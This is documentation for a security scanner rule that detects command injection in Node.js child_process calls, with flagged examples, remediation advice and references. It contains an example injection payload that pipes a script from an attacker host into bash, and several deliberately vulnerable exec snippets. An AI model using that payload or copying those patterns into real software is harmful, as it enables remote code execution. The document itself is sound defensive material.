VNX-NODE-013: Node.js command injection via child_process
Reports a shell command built from req.query/body/params/headers or Koa ctx and run through child_process exec/execSync (by module alias, destructured import or promisify wrapper), spawn/execFile with shell: true or sh -c, shelljs exec or execa's command API. Argument arrays without a shell and escaped values are not reported.
| Field | Value |
|---|---|
| Rule ID | VNX-NODE-013 |
| Severity | Critical |
| SARIF level | error |
| Kind | sast |
| Languages | JavaScript / TypeScript |
| CWE | CWE-78 |
| CAPEC | CAPEC-88 |
| ATT&CK | T1059 |
| CWSS vector | CWSS:1.0/TI:C/AP:A/AL:A/IC:N/FC:LT/RP:N/RL:A/AV:I/AS:N/IN:A/SC:A/BI:C/DI:H/EX:H/EC:N/P:W |
| Tags | command-injection child-process rce |
| Source | internal/sast/rules/vnx-node-013.rego |
Overview
This rule detects cases where user-supplied request data (req.* or request.*) is passed directly to exec(), execSync(), or the fully qualified child_process.exec() / child_process.execSync(). It also detects template literal interpolation in those calls (exec(`...${...}`)). While VNX-NODE-003 catches dangerous string construction patterns, this rule focuses specifically on direct user-input injection, the most immediately exploitable form of command injection. This is CWE-78 (Improper Neutralization of Special Elements used in an OS Command).
Why This Matters
When user input flows directly into exec(), an attacker only needs to include a shell metacharacter to inject additional commands. A value like ; curl https://attacker.com/shell.sh | bash appended to any command gives the attacker an interactive reverse shell running as the Node.js process user. There is no escaping function that reliably prevents this, the only safe approach is to avoid exec() with user data entirely.
The critical severity reflects that exploitation requires no special conditions or privileges: a single HTTP request with a crafted parameter is sufficient. Real-world exploits of this pattern are common against utilities that wrap CLI tools: file conversion, image processing, email sending, git operations, reporting, and any feature that shells out to a system command.
What Gets Flagged
The command string (or the sh -c script) must come from the request, on the same line or through a variable assigned from it a few lines above, and the call must resolve to a shell-running API.
// FLAGGED
exec('ping -c 1 ' + req.query.host, cb);
const out = execSync(`git log --oneline ${req.body.ref}`);
child_process.exec(req.body.cmd, cb);
// FLAGGED: two lines
const { file } = req.query;
cp.exec(`convert ${file} -resize 64x64 thumb.png`, cb);
// FLAGGED: spawn through a shell
spawn(`tar -xf ${req.body.archive}`, { shell: true });
spawnSync('sh', ['-c', 'echo ' + req.query.msg]);
Not flagged: execFile('ping', ['-c', '1', host]) and spawn('git', ['log', ref]) (no shell), exec('ls -la ' + quote([dir])), constant commands, and RegExp.exec/db.exec. VNX-NODE-003 reports exec/execSync with any run-time command string.
Remediation
-
Use
execFilewith an argument array instead ofexecwith a shell string.execFiledoes not spawn a shell, it executes the binary directly with arguments passed as separate items, so metacharacters are never interpreted:// SAFE: execFile, no shell, arguments are literal strings const { execFile } = require('child_process'); app.get('/ping', (req, res) => { // Validate the host format first const hostPattern = /^[a-zA-Z0-9.\-]+$/; if (!hostPattern.test(req.query.host)) { return res.status(400).json({ error: 'Invalid host' }); } execFile('ping', ['-c', '1', req.query.host], { timeout: 5000 }, (err, stdout) => { if (err) return res.status(500).json({ error: 'Ping failed' }); res.send(stdout); }); }); -
Use
spawnwithshell: false(the default) for streaming output:// SAFE: spawn without shell, arguments are not interpreted by /bin/sh const { spawn } = require('child_process'); app.get('/convert', (req, res) => { const safe = /^[a-zA-Z0-9_\-]+\.(jpg|png|gif)$/.test(req.query.file) ? req.query.file : null; if (!safe) return res.status(400).send('Invalid file'); const proc = spawn('convert', [safe, 'output.png']); proc.stdout.pipe(res); }); -
Replace shell commands with native Node.js libraries wherever possible. This eliminates the OS command surface entirely:
- Image processing: use
sharpinstead of ImageMagick - Archive creation: use
archiverinstead ofzip - Git operations: use
simple-gitorisomorphic-git - Network diagnostics: use Node.js
dnsandnetmodules
- Image processing: use
-
Apply strict input validation before any command execution. Reject inputs that do not match an explicit allowlist pattern (regex, enum, numeric range). Fail closed, if the value doesn’t match, reject the request entirely.
-
Run the process with minimal OS privileges. Use Linux user namespaces, Docker
--cap-drop=ALL, or seccomp profiles to restrict what commands the process can spawn.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CAPEC-88: OS Command Injection
- Node.js child_process.execFile documentation
- OWASP Command Injection Defense Cheat Sheet
- OWASP Node.js Security Cheat Sheet
- sharp – high-performance Node.js image processing
- MITRE ATT&CK T1059 – Command and Scripting Interpreter
Suppressing this rule
Put a nosec comment on the line, or on line 1 to cover the whole file. Use the comment marker of the file’s language (#, //, -- or ;):
# nosec vnx-node-013
// nosec vnx-node-013
Or record an ignore rule: vulnetix ignore add --rule vnx-node-013 --reason "...". See Suppressing findings.